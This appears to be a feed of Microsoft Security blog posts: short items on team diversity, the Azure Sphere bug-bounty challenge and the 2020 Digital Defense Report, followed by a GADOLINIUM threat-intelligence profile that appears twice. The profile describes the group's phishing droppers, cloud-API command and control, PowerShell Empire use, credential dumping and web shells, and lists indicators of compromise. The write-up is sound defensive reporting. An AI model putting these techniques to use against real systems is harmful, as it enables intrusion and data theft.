As Jason explained, Microsoft is employing AI, machine learning, and quantum computing to shape our responses to cyber threats. We know we must incorporate a holistic approach that includes people at its core because technology alone will not be enough. If we don’t, cybercriminals will exploit group preconceptions and biases. According to research, gender-diverse teams make better business decisions 73 percent of the time. Additionally, teams that are diverse in age and geographic location make better decisions 87 percent of the time. Just as diverse data makes for better cybersecurity, the same holds true for the people in your organization, allowing fresh ideas to flourish. Investing in diverse teams isn’t just the right thing to do—it helps future proof against bias while protecting your organization and customers.

Watch for upcoming posts on how your organization can benefit from integrated, seamless security, and be sure to follow @Ann Johnson and @Jason Zander on Twitter for cybersecurity insights.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post CISO Spotlight: How diversity of data (and people) defeats today’s cyber threats appeared first on Microsoft Security.

Fighting the security battle so our customers don’t have to

IoT devices are becoming more prevalent in almost every aspect of our lives—we will rely on them in our homes, our businesses, as well as our infrastructure. In February, Microsoft announced the general availability of Azure Sphere, an integrated security solution for IoT devices and equipment. General availability means that we are ready to provide OEMs and organizations with quick and cost-effective device security at scale. However, securing those devices does not stop once we put them into the hands of our customers. It is only the start of a continual battle between the attackers and the defenders.

Building a solution that customers can trust requires investments before and after deployment by complementing up-front technical measures with ongoing practices to find and mitigate risks. In April, we highlighted Azure Sphere’s approach to risk management and why securing IoT is not a one-and-done. Products improve over time, but so do hackers, as well as their skills and tools. New security threats continue to evolve, and hackers invent new ways to attack devices. So, what does it take to stay ahead?

As a Microsoft security product team, we believe in finding and fixing vulnerabilities before the bad guys do. While Azure Sphere continuously invests in code improvements, fuzzing, and other processes of quality control, it often requires the creative mindset of an attacker to expose a potential weakness that otherwise might be missed. Better than trying to think like a hacker is working with them. This is why we operate an ongoing program of red team exercises with security researchers and the hacker community: to benefit from their unique expertise and skill set. That includes being able to test our security promise not just against yesterday’s and today’s, but against even tomorrow’s attacks on IoT devices before they become known more broadly. Our recent Azure Sphere Security Research Challenge, which concluded on August 31, is a reflection of this commitment.

Partnering with MSRC to design a unique challenge

Our goal with the three-month Azure Sphere Security Research Challenge was twofold: to drive new high-impact security research, and to validate Azure Sphere’s security promise against the best challengers in their field. To do so, we partnered with the Microsoft Security Response Center (MSRC) and invited some of the world’s best researchers and security vendors to try to break our device by using the same kinds of attacks as any malicious actor might. To make sure participants had everything they needed to be successful, we provided each researcher with a dev kit, a direct line to our OS Security Engineering Team, access to weekly office hours, and email support in addition to our publicly available operating system kernel source code.

Our goal was to focus the research on the highest impact on customer security, which is why we provided six research scenarios with additional rewards of up to 20 percent on top of the Azure Bounty (up to $40,000), as well as $100,000 for two high-priority scenarios proving the ability to execute code in Microsoft Pluton or in Secure World. We received more than 3,500 applications, which is a testament to the strong interest of the research community in securing IoT. More information on the design of the challenge and our collaboration with MSRC can be found here on their blog post.

Researchers identify high impact vulnerabilities before hackers

The quality of submissions from participants in the challenge far exceeded our expectations. Several participants helped us find multiple potentially high impact vulnerabilities in Azure Sphere. The quality is a testament to the expertise, determination, and the diligence of the participants. Over the course of the challenge, we received a total of 40 submissions, of which 30 led to improvements in our product. Sixteen were bounty-eligible; adding up to a total of $374,300 in bounties awarded. The other 10 submissions identified known areas where potential risk is specifically mitigated in another part of the system—something often referred to in the field as “by design.” The high ratio of valid submissions to total submissions speaks to the extremely high quality of the research demonstrated by the participants.

Jewell Seay, Azure Sphere Operating System Platform Security Lead, has shared detailed information of many of the cases in three recent blog posts describing the security improvements delivered in our 20.07, 20.08, and 20.09 releases. Cisco Talos and McAfee Advanced Threat Research (ATR), in particular, found several important vulnerabilities, and one particular attack chain is highlighted in Jewell’s 20.07 blog.

While the described attack required physical access to a device and could not be executed remotely, it exposed potential weaknesses spanning both cloud and device components of our product. The attack included a potential zero-day exploit in the Linux kernel to escape root privileges. The vulnerability was reported to the Linux kernel security team, leading to a fix for the larger open source community which was shared with the Linux community. If you would like to learn more and get an inside view of the challenge from one of our research partners, we highly recommend McAfee ATR’s blog post.

What it takes to provide renewable and improving security

With Azure Sphere, we provide our customers with a robust defense based on the Seven Properties of Highly Secured Devices. One of the properties, renewable security, ensures that a device can update to a more secure state—even if it has been compromised. While this is essential, it is not sufficient on its own. An organization must be equipped with the resources, people, and processes that allow for a quick resolution before vulnerabilities impact customers. Azure Sphere customers know that they have the strong commitment of our Azure Sphere Engineering team—that our team is searching for and addressing potential vulnerabilities, even from the most recently invented attack techniques.

We take this commitment to heart, as evidenced by all the fixes that went into our 20.07, 20.08, and 20.09 releases. In less than 30 days of McAfee reporting the attack chain to us, we shipped a fix to all of our customers, without the need for them to take any action due to how Azure Sphere manages updates. Although we received a high number of submissions throughout multiple release cycles, we prioritized analyzing every single report as soon as we received it. The success of our challenge should not just be measured by the number and quality of the reports, but also by how quickly reported vulnerabilities were fixed in the product. When it came to fixing the found vulnerabilities, there was no distinction made between the ones that were proven to be exploited or the ones that were only theoretical. Attackers get creative, and hope is not part of our risk assessment or our commitment to our customers.

Our engagement with the security research community

On behalf of the entire team and our customers, we would like to thank all participants for their help in making Azure Sphere more secure! We were genuinely impressed by the quality and number of high impact vulnerabilities that they found. In addition, we would also like to thank the MSRC team for partnering with us on this challenge.

Our goal is to continue to engage with this community on behalf of our customers going forward, and we will continue to review every potential vulnerability report for Azure Sphere for eligibility under the Azure Bounty Program awards.

Our team learned a lot throughout this challenge, and we will explore and announce additional opportunities to collaborate with the security research community in the future. Protecting our platform and the devices our customers build and deploy on it is a key priority for us. Working with the best security researchers in the field, we will continue to invest in finding potential vulnerabilities before the bad guys do—so you don’t have to!

If you are interested in learning more about how Azure Sphere can help you securely unlock your next IoT innovation:

• Visit the Azure Sphere website to learn more.
• Get started.
• Secure your IoT deployment during the security talent shortage.
• Cybersecurity best practices to implement highly secured devices.

The post Why we invite security researchers to hack Azure Sphere appeared first on Microsoft Security.

Today, Microsoft is releasing a new annual report, called the Digital Defense Report, covering cybersecurity trends from the past year. This report makes it clear that threat actors have rapidly increased in sophistication over the past year, using techniques that make them harder to spot and that threaten even the savviest targets. For example, nation-state actors are engaging in new reconnaissance techniques that increase their chances of compromising high-value targets, criminal groups targeting businesses have moved their infrastructure to the cloud to hide among legitimate services, and attackers have developed new ways to scour the internet for systems vulnerable to ransomware.

In addition to attacks becoming more sophisticated, threat actors are showing clear preferences for certain techniques, with notable shifts towards credential harvesting and ransomware, as well as an increasing focus on Internet of Things (IoT) devices. Among the most significant statistics on these trends:

• In 2019 we blocked over 13 billion malicious and suspicious mails, out of which more than 1 billion were URLs set up for the explicit purpose of launching a phishing credential attack.
• Ransomware is the most common reason behind our incident response engagements from October 2019 through July 2020.
• The most common attack techniques used by nation-state actors in the past year are reconnaissance, credential harvesting, malware, and Virtual Private Network (VPN) exploits.
• IoT threats are constantly expanding and evolving. The first half of 2020 saw an approximate 35% increase in total attack volume compared to the second half of 2019.

Given the leap in attack sophistication in the past year, it is more important than ever that we take steps to establish new rules of the road for cyberspace; that all organizations, whether government agencies or businesses, invest in people and technology to help stop attacks; and that people focus on the basics, including regular application of security updates, comprehensive backup policies, and, especially, enabling multi-factor authentication (MFA).  Our data shows that enabling MFA would alone have prevented the vast majority of successful attacks.

To read the full blog and download the Digital Defense Report visit the Microsoft On-the-issues Blog.

CTA: To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Microsoft Digital Defense Report 2020: Cyber Threat Sophistication on the Rise appeared first on Microsoft Security.

Microsoft consistently tracks the most advanced threat actors and evolving attack techniques. We use these findings to harden our products and platform and share them with the security community to help defenders everywhere better protect the planet.

Recently, the Microsoft Threat Intelligence Center (MSTIC) observed the evolution of attacker techniques by an actor we call GADOLINIUM using cloud services and open source tools to enhance weaponization of their malware payload, attempt to gain command and control all the way to the server, and to obfuscate detection. These attacks were delivered via spear-phishing emails with malicious attachments and detected and blocked by Microsoft 365 Defender, formerly Microsoft Threat Protection (MTP), and able to be detected using Azure Sentinel.

As these attacks were detected, Microsoft took proactive steps to prevent attackers from using our cloud infrastructure to execute their attacks and suspended 18 Azure Active Directory applications that we determined to be part of their malicious command & control infrastructure. This action helped transparently protect our customers without requiring additional work on their end.

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods.

Recently, MSTIC has observed newly expanded targeting outside of those sectors to include the Asia Pacific region and other targets in higher education and regional government organizations. As GADOLINIUM has evolved, MSTIC has continued to monitor its activity and work alongside our product security teams to implement customer protections against these attacks.

Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The following GADOLINIUM technique profile is designed to give security practitioners who may be targeted by this specific actor’s activity insight and information that will help them better protect from these attacks.

2016: Experimenting in the cloud

GADOLINIUM has been experimenting with using cloud services to deliver their attacks to increase both operation speed and scale for years. The image in Figure 1 is from a GADOLINIUM controlled Microsoft TechNet profile established in 2016. This early use of a TechNet profiles’ contact widget involved embedding a very small text link that contained an encoded command for malware to read.

Figure 1: GADOLINIUM controlled TechNet profile with embedded malware link.

2018: Developing attacks in the cloud

In 2018 GADOLINIUM returned to using Cloud services, but this time it chose to use GitHub to host commands. The image in Figure 2 shows GitHub Commit history on a forked repository GADOLINIUM controlled. In this repository, the actors updated markdown text to issue new commands to victim computers. MSTIC has worked with our colleagues at GitHub to take down the actor accounts and disrupt GADOLINIUM operations on the GitHub platform.

Figure 2: GitHub repository controlled by GADOLINIUM.

2019-2020: Hiding in plain sight using open source

GADOLINIUM’s evolving techniques
Two of the most recent attack chains in 2019 and 2020 were delivered from GADOLINIUM using similar tactics and techniques. Below is a summary view of how these attacks techniques have evolved followed by a detailed analysis of each step that security practitioners can use to better understand the threat and what defenses to implement to counter the attacks.

Weaponization
In the last year, Microsoft has observed GADOLINIUM migrate portions of its toolchain techniques based on open source kits. GADOLINIUM is not alone in this move. MSTIC has noticed a slow trend of several nation-state activity groups migrating to open source tools in recent years. MSTIC assesses this move is an attempt to make discovery and attribution more difficult. The other added benefit to using open-source types of kits is that the development and new feature creation is done and created by someone else at no cost. However, using open source tools isn’t always a silver bullet for obfuscation and blending into the noise.

Delivery & Exploitation (2019)
In 2019, we discovered GADOLINIUM delivering malicious Access database files to targets. The initial malicious file was an Access 2013 database (.accde format). This dropped a fake Word document that was opened along with an Excel spreadsheet and a file called mm.accdb.core which was subsequently executed. The file mm.accdb.core is a VBA dropper, based on the CactusTorch VBA module, which loads a .NET DLL payload, sets configuration information, and then runs the payload. Office 365 ATP detects and blocks malicious Microsoft Access database attachments in email. A redacted example of the configuration is displayed below.

Figure 3: VBA setting config and calling the “Run” function of the payload

Command and Control (2019)
Having gained access to a victim machine the payload then uses attachments to Outlook Tasks as a mechanism for command and control (C2). It uses a GADOLINIUM-controlled OAuth access token with login.microsoftonline.com and uses it to call the Outlook Task API to check for tasks. The attacker uses attachments to Outlook tasks as a means of sending commands or .NET payloads to execute; at the victim end, the malware adds the output from executing these commands as a further attachment to the Outlook task.

Interestingly, the malware had code compiled in a manner that doesn’t seem to be used in the attacks we saw. In addition to the Outlook Tasks API method described above, the extra code contains two other ways of using Office365 as C2, via either the Outlook Contacts API (get and add contacts) or the OneDrive API (list directory, get and add a file).

Actions on Objective (2019)
GADOLINIUM used several different payloads to achieve its exploitation or intrusion objectives including a range of PowerShell scripts to execute file commands (read/write/list etc.) to enable C2 or perform SMB commands (upload/download/delete etc.) to potentially exfiltrate data.

LazyCat, one of the tools used by GADOLINIUM, includes privilege escalation and credential dumping capability to enable lateral movement across a victim network. Microsoft 365 Defender for Endpoint detects the privilege escalation technique used:

LazyCat performs credential dumping through usage of the MiniDumpWriteDump Windows API call, also detected by Microsoft 365 Defender for Endpoint:

Delivery (2020)
In mid-April 2020 GADOLINIUM actors were detected sending spear-phishing emails with malicious attachments. The filenames of these attachments were named to appeal to the target’s interest in the COVID-19 pandemic. The PowerPoint file (20200423-sitrep-92-covid-19.ppt), when run, would drop a file, doc1.dotm. Similarly, to the 2019 example, Microsoft 365 Defender for Office detects and blocks emails with these malicious PowerPoint and Word attachments.

Command and Control (2020)
The malicious doc1.dotm had two payloads which run in succession.

• The first payload turns off a type check DisableActivitySurrogateSelectorTypeCheck  which the second stage needs as discussed in this blog.
• The second payload loads an embedded .Net binary which downloads, decrypts + runs a .png file.

The .png is actually PowerShell which downloads and uploads fake png files using the Microsoft Graph API to https://graph.microsoft.com/v1.0/drive/root:/onlinework/contact/$($ID)_1.png:/content where $ID is the ID of the malware. The GADOLINIUM PowerShell is a modified version of the opensource PowershellEmpire toolkit.

Actions on Objectives (2020)
The GADOLINIUM PowerShell Empire toolkit allows the attacker to load additional modules to victim computers seamlessly via Microsoft Graph API calls. It provides a command and control module that uses the attacker’s Microsoft OneDrive account to execute commands and retrieve results between attacker and victim systems. The use of this PowerShell Empire module is particularly challenging for traditional SOC monitoring to identify. The attacker uses an Azure Active Directory application to configure a victim endpoint with the permissions needed to exfiltrate data to the attacker’s own Microsoft OneDrive storage. From an endpoint or network monitoring perspective the activity initially appears to be related to trusted applications using trusted cloud service APIs and, in this scenario,, no OAuth permissions consent prompts occur. Later in this blog post, we will provide additional information about how Microsoft proactively prevents attackers from using our cloud infrastructure in these ways.

Command and Control—Server compromise
GADOLINIUM campaigns often involve installing web shells on legitimate web sites for command and control or traffic redirection. Microsoft 365 Defender for Endpoint detects web shells by analyzing web server telemetry such as process creation and file modifications. Microsoft blogged earlier in the year on the use of web shells by multiple groups and how we detect such activities.

 

Figure 6: Microsoft Defender ATP alerts of suspicious web shell attacks.

Web shell alerts from Microsoft 365 Defender for Endpoint can be explored in Azure Sentinel and enriched with additional information that can give key insights into the attack. MSTIC’s Azure Sentinel team recently published a blog outlining how such insights can be derived by analyzing events from the W3CIISLog.

Microsoft’s proactive steps to defend customers
In addition to detecting many of the individual components of the attacks through Microsoft’s security products and services such as Microsoft 365 Defender for Endpoint and for Microsoft 365 Defender for Office as described above, we also take proactive steps to prevent attackers from using our cloud infrastructure to perpetrate attacks. As a cloud provider, Microsoft is uniquely positioned to disrupt this attacker technique. The PowerShell Empire scenario is a good example of this. During April 2020, the Microsoft Identity Security team suspended 18 Azure Active Directory applications that we determined to be part of GADOLINIUM’s PowerShell Empire infrastructure (Application IDs listed in IOC section below). Such action is particularly beneficial to customers as suspending these applications protects all customers transparently without any action being required at their end.)

As part of Microsoft’s broader work to foster a secure and trustworthy app ecosystem, we research and develop detection techniques for both known and novel malicious applications. Applications exhibiting malicious behavior are quickly suspended to ensure our customers are protected.

GADOLINIUM will no doubt evolve their tactics in pursuit of its objectives. As those threats target Microsoft customers, we will continue to build detections and implement protections to defend against them. For security practitioners looking to expand your own hunting on GADOLINIUM, we are sharing the below indicators of compromise (IOCs) associated with their activity.

List of related GADOLINIUM indicators

Hashes from malicious document attachments

faebff04d7ca9cca92975e06c4a0e9ce1455860147d8432ff9fc24622b7cf675
f61212ab1362dffd3fa6258116973fb924068217317d2bc562481b037c806a0a

Actor-owned email addresses

Chris.sukkar@hotmail.com
PhillipAdamsthird@hotmail.com
sdfwfde234sdws@outlook.com
jenny1235667@outlook.com
fghfert32423dsa@outlook.com
sroggeveen@outlook.com
RobertFetter.fdmed@hotmail.com
Heather.mayx@outlook.com

Azure Active Directory App IDs associated with malicious apps

ae213805-a6a2-476c-9c82-c37dfc0b6a6c
afd7a273-982b-4873-984a-063d0d3ca23d
58e2e113-b4c9-4f1a-927a-ae29e2e1cdeb
8ba5106c-692d-4a86-ad3f-fc76f01b890d
be561020-ba37-47b2-99ab-29dd1a4312c4
574b7f3b-36da-41ee-86b9-c076f999b1de
941ec5a5-d5bf-419e-aa93-c5afd0b01eff
d9404c7d-796d-4500-877e-d1b49f02c9df
67e2bb25-1f61-47b6-9ae3-c6104e587882
9085bb9e-9b56-4b84-b21e-bd5d5c7b0de0
289d71ad-54ee-44a4-8d9a-9294f19b0069
a5ea2576-4191-4e9a-bfed-760fff616fbf
802172dc-8014-42a9-b765-133c07039f9f
fb33785b-f3f7-4b2b-b5c1-f688d3de1bde
c196c17d-1e3c-4049-a989-c62f7afaf7f3
79128217-d61e-41f9-a165-e06e1d672069
f4a41d96-2045-4d75-a0ec-9970b0150b52
88d43534-4128-4969-b5c4-ceefd9b31d02

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Microsoft Security—detecting empires in the cloud appeared first on Microsoft Security.

Microsoft consistently tracks the most advanced threat actors and evolving attack techniques. We use these findings to harden our products and platform and share them with the security community to help defenders everywhere better protect the planet.

Recently, the Microsoft Threat Intelligence Center (MSTIC) observed the evolution of attacker techniques by an actor we call GADOLINIUM using cloud services and open source tools to enhance weaponization of their malware payload, attempt to gain command and control all the way to the server, and to obfuscate detection. These attacks were delivered via spear-phishing emails with malicious attachments and detected and blocked by Microsoft 365 Defender, formerly Microsoft Threat Protection (MTP), and able to be detected using Azure Sentinel.

As these attacks were detected, Microsoft took proactive steps to prevent attackers from using our cloud infrastructure to execute their attacks and suspended 18 Azure Active Directory applications that we determined to be part of their malicious command & control infrastructure. This action helped transparently protect our customers without requiring additional work on their end.

GADOLINIUM is a nation-state activity group that has been compromising targets for nearly a decade with a worldwide focus on the maritime and health industries. As with most threat groups, GADOLINIUM tracks the tools and techniques of security practitioners looking for new techniques they can use or modify to create new exploit methods.

Recently, MSTIC has observed newly expanded targeting outside of those sectors to include the Asia Pacific region and other targets in higher education and regional government organizations. As GADOLINIUM has evolved, MSTIC has continued to monitor its activity and work alongside our product security teams to implement customer protections against these attacks.

Historically, GADOLINIUM used custom-crafted malware families that analysts can identify and defend against. In response, over the last year GADOLINIUM has begun to modify portions of its toolchain to use open-source toolkits to obfuscate their activity and make it more difficult for analysts to track. Because cloud services frequently offer a free trial or one-time payment (PayGo) account offerings, malicious actors have found ways to take advantage of these legitimate business offerings. By establishing free or PayGo accounts, they can use cloud-based technology to create a malicious infrastructure that can be established quickly then taken down before detection or given up at little cost.

The following GADOLINIUM technique profile is designed to give security practitioners who may be targeted by this specific actor’s activity insight and information that will help them better protect from these attacks.

2016: Experimenting in the cloud

GADOLINIUM has been experimenting with using cloud services to deliver their attacks to increase both operation speed and scale for years. The image in Figure 1 is from a GADOLINIUM controlled Microsoft TechNet profile established in 2016. This early use of a TechNet profiles’ contact widget involved embedding a very small text link that contained an encoded command for malware to read.

Figure 1: GADOLINIUM controlled TechNet profile with embedded malware link.

2018: Developing attacks in the cloud

In 2018 GADOLINIUM returned to using Cloud services, but this time it chose to use GitHub to host commands. The image in Figure 2 shows GitHub Commit history on a forked repository GADOLINIUM controlled. In this repository, the actors updated markdown text to issue new commands to victim computers. MSTIC has worked with our colleagues at GitHub to take down the actor accounts and disrupt GADOLINIUM operations on the GitHub platform.

Figure 2: GitHub repository controlled by GADOLINIUM.

2019-2020: Hiding in plain sight using open source

GADOLINIUM’s evolving techniques
Two of the most recent attack chains in 2019 and 2020 were delivered from GADOLINIUM using similar tactics and techniques. Below is a summary view of how these attacks techniques have evolved followed by a detailed analysis of each step that security practitioners can use to better understand the threat and what defenses to implement to counter the attacks.

Weaponization
In the last year, Microsoft has observed GADOLINIUM migrate portions of its toolchain techniques based on open source kits. GADOLINIUM is not alone in this move. MSTIC has noticed a slow trend of several nation-state activity groups migrating to open source tools in recent years. MSTIC assesses this move is an attempt to make discovery and attribution more difficult. The other added benefit to using open-source types of kits is that the development and new feature creation is done and created by someone else at no cost. However, using open source tools isn’t always a silver bullet for obfuscation and blending into the noise.

Delivery & Exploitation (2019)
In 2019, we discovered GADOLINIUM delivering malicious Access database files to targets. The initial malicious file was an Access 2013 database (.accde format). This dropped a fake Word document that was opened along with an Excel spreadsheet and a file called mm.accdb.core which was subsequently executed. The file mm.accdb.core is a VBA dropper, based on the CactusTorch VBA module, which loads a .NET DLL payload, sets configuration information, and then runs the payload. Office 365 ATP detects and blocks malicious Microsoft Access database attachments in email. A redacted example of the configuration is displayed below.

Figure 3: VBA setting config and calling the “Run” function of the payload

Command and Control (2019)
Having gained access to a victim machine the payload then uses attachments to Outlook Tasks as a mechanism for command and control (C2). It uses a GADOLINIUM-controlled OAuth access token with login.microsoftonline.com and uses it to call the Outlook Task API to check for tasks. The attacker uses attachments to Outlook tasks as a means of sending commands or .NET payloads to execute; at the victim end, the malware adds the output from executing these commands as a further attachment to the Outlook task.

Interestingly, the malware had code compiled in a manner that doesn’t seem to be used in the attacks we saw. In addition to the Outlook Tasks API method described above, the extra code contains two other ways of using Office365 as C2, via either the Outlook Contacts API (get and add contacts) or the OneDrive API (list directory, get and add a file).

Actions on Objective (2019)
GADOLINIUM used several different payloads to achieve its exploitation or intrusion objectives including a range of PowerShell scripts to execute file commands (read/write/list etc.) to enable C2 or perform SMB commands (upload/download/delete etc.) to potentially exfiltrate data.

LazyCat, one of the tools used by GADOLINIUM, includes privilege escalation and credential dumping capability to enable lateral movement across a victim network. Microsoft 365 Defender for Endpoint detects the privilege escalation technique used:

LazyCat performs credential dumping through usage of the MiniDumpWriteDump Windows API call, also detected by Microsoft 365 Defender for Endpoint:

Delivery (2020)
In mid-April 2020 GADOLINIUM actors were detected sending spear-phishing emails with malicious attachments. The filenames of these attachments were named to appeal to the target’s interest in the COVID-19 pandemic. The PowerPoint file (20200423-sitrep-92-covid-19.ppt), when run, would drop a file, doc1.dotm. Similarly, to the 2019 example, Microsoft 365 Defender for Office detects and blocks emails with these malicious PowerPoint and Word attachments.

Command and Control (2020)
The malicious doc1.dotm had two payloads which run in succession.

• The first payload turns off a type check DisableActivitySurrogateSelectorTypeCheck  which the second stage needs as discussed in this blog.
• The second payload loads an embedded .Net binary which downloads, decrypts + runs a .png file.

The .png is actually PowerShell which downloads and uploads fake png files using the Microsoft Graph API to https://graph.microsoft.com/v1.0/drive/root:/onlinework/contact/$($ID)_1.png:/content where $ID is the ID of the malware. The GADOLINIUM PowerShell is a modified version of the opensource PowershellEmpire toolkit.

Actions on Objectives (2020)
The GADOLINIUM PowerShell Empire toolkit allows the attacker to load additional modules to victim computers seamlessly via Microsoft Graph API calls. It provides a command and control module that uses the attacker’s Microsoft OneDrive account to execute commands and retrieve results between attacker and victim systems. The use of this PowerShell Empire module is particularly challenging for traditional SOC monitoring to identify. The attacker uses an Azure Active Directory application to configure a victim endpoint with the permissions needed to exfiltrate data to the attacker’s own Microsoft OneDrive storage. From an endpoint or network monitoring perspective the activity initially appears to be related to trusted applications using trusted cloud service APIs and, in this scenario,, no OAuth permissions consent prompts occur. Later in this blog post, we will provide additional information about how Microsoft proactively prevents attackers from using our cloud infrastructure in these ways.

Command and Control—Server compromise
GADOLINIUM campaigns often involve installing web shells on legitimate web sites for command and control or traffic redirection. Microsoft 365 Defender for Endpoint detects web shells by analyzing web server telemetry such as process creation and file modifications. Microsoft blogged earlier in the year on the use of web shells by multiple groups and how we detect such activities.

 

Figure 6: Microsoft Defender ATP alerts of suspicious web shell attacks.

Web shell alerts from Microsoft 365 Defender for Endpoint can be explored in Azure Sentinel and enriched with additional information that can give key insights into the attack. MSTIC’s Azure Sentinel team recently published a blog outlining how such insights can be derived by analyzing events from the W3CIISLog.

Microsoft’s proactive steps to defend customers
In addition to detecting many of the individual components of the attacks through Microsoft’s security products and services such as Microsoft 365 Defender for Endpoint and for Microsoft 365 Defender for Office as described above, we also take proactive steps to prevent attackers from using our cloud infrastructure to perpetrate attacks. As a cloud provider, Microsoft is uniquely positioned to disrupt this attacker technique. The PowerShell Empire scenario is a good example of this. During April 2020, the Microsoft Identity Security team suspended 18 Azure Active Directory applications that we determined to be part of GADOLINIUM’s PowerShell Empire infrastructure (Application IDs listed in IOC section below). Such action is particularly beneficial to customers as suspending these applications protects all customers transparently without any action being required at their end.)

As part of Microsoft’s broader work to foster a secure and trustworthy app ecosystem, we research and develop detection techniques for both known and novel malicious applications. Applications exhibiting malicious behavior are quickly suspended to ensure our customers are protected.

GADOLINIUM will no doubt evolve their tactics in pursuit of its objectives. As those threats target Microsoft customers, we will continue to build detections and implement protections to defend against them. For security practitioners looking to expand your own hunting on GADOLINIUM, we are sharing the below indicators of compromise (IOCs) associated with their activity.

List of related GADOLINIUM indicators

Hashes from malicious document attachments

faebff04d7ca9cca92975e06c4a0e9ce1455860147d8432ff9fc24622b7cf675
f61212ab1362dffd3fa6258116973fb924068217317d2bc562481b037c806a0a

Actor-owned email addresses

Chris.sukkar@hotmail.com
PhillipAdamsthird@hotmail.com
sdfwfde234sdws@outlook.com
jenny1235667@outlook.com
fghfert32423dsa@outlook.com
sroggeveen@outlook.com
RobertFetter.fdmed@hotmail.com
Heather.mayx@outlook.com

Azure Active Directory App IDs associated with malicious apps

ae213805-a6a2-476c-9c82-c37dfc0b6a6c
afd7a273-982b-4873-984a-063d0d3ca23d
58e2e113-b4c9-4f1a-927a-ae29e2e1cdeb
8ba5106c-692d-4a86-ad3f-fc76f01b890d
be561020-ba37-47b2-99ab-29dd1a4312c4
574b7f3b-36da-41ee-86b9-c076f999b1de
941ec5a5-d5bf-419e-aa93-c5afd0b01eff
d9404c7d-796d-4500-877e-d1b49f02c9df
67e2bb25-1f61-47b6-9ae3-c6104e587882
9085bb9e-9b56-4b84-b21e-bd5d5c7b0de0
289d71ad-54ee-44a4-8d9a-9294f19b0069
a5ea2576-4191-4e9a-bfed-760fff616fbf
802172dc-8014-42a9-b765-133c07039f9f
fb33785b-f3f7-4b2b-b5c1-f688d3de1bde
c196c17d-1e3c-4049-a989-c62f7afaf7f3
79128217-d61e-41f9-a165-e06e1d672069
f4a41d96-2045-4d75-a0ec-9970b0150b52
88d43534-4128-4969-b5c4-ceefd9b31d02

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Microsoft Security—detecting empires in the cloud appeared first on Microsoft Security.